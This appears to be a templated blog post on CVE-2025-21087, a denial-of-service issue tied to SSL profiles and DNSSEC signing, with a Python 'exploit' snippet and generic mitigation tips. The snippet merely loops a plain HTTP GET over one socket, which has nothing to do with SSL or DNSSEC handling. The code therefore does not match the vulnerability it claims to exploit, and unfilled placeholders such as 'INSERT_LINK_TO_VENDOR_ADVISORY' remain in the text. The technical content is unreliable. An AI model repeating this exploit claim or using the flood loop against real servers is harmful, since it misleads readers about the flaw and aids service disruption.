Introduction:
The CVE-2025-21087 vulnerability could potentially impact systems using Client or Server SSL profiles on a Virtual Server or those employing DNSSEC signing operations. In this post, we will examine this vulnerability that results in undisclosed traffic, causing an increase in memory and CPU resource utilization. We will share code snippets, walk through an example exploit scenario, and discuss possible prevention methods. Original references are also provided at the end of the article.

Summary

The use of SSL profiles (Client or Server) on a Virtual Server, along with DNSSEC signing operations, opens the door to the CVE-2025-21087 vulnerability which may allow an attacker to generate undisclosed traffic. This traffic can cause a spike in memory and CPU utilization, potentially disrupting the normal functioning of the affected system.

Exploit Details

An attacker can exploit the CVE-2025-21087 vulnerability by sending specially crafted requests to a target Virtual Server that is using Client or Server SSL profiles, or to a system configured for DNSSEC signing operations. The exploit can be executed using various tools or custom scripts, generating traffic designed to trigger high CPU and memory utilization in the target system. Once this increase in resource utilization has been achieved, the system may become less responsive or eventually crash, causing a Denial of Service (DoS) condition.

Code Snippet

The following code snippet is an example of how an attacker might craft custom requests to target a vulnerable system using the CVE-2025-21087 exploit:

import socket
import sys

target_server = "TARGET_SERVER_IP"
target_port = 443  # Change to the desired port number

# Create a socket and connect to the target server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_server, target_port))

# Craft the malicious request
malicious_request = 'GET / HTTP/1.1\\r\\nHost: ' + target_server + '\\r\\nConnection: keep-alive\\r\\n\\r\\n'

# Continuously send the malicious request to the target server
while True:
    s.send(malicious_request.encode())

To protect your system from the CVE-2025-21087 vulnerability, follow these guidelines

1. Always keep your software up to date: Apply the necessary patches and updates provided by the vendor to keep your system secure.
2. Monitor CPU and memory usage: Use monitoring tools and establish baseline metrics to detect abnormal spikes in resource utilization, which may indicate an attempt to exploit this vulnerability.
3. Configure and apply security policies: Implement web application firewalls, intrusion prevention systems, and access control lists to filter or block malicious traffic targeting your system.
4. Limit attack surface: Secure the configurations of your Client or Server SSL profiles and DNSSEC signing operations, following security best practices.

- CVE-2025-21087

[Vendor Advisory](INSERT_LINK_TO_VENDOR_ADVISORY)

- National Vulnerability Database (NVD)

Conclusion

Understanding and properly addressing the CVE-2025-21087 vulnerability is essential for any organization that handles sensitive data and uses Client or Server SSL profiles or DNSSEC signing operations. Be proactive in your approach by keeping your software up to date, monitoring system resource usage, implementing security policies, and locking down configurations to minimize the risk of exploitation and potential denial of service attacks.

Timeline

Published on: 02/05/2025 18:15:30 UTC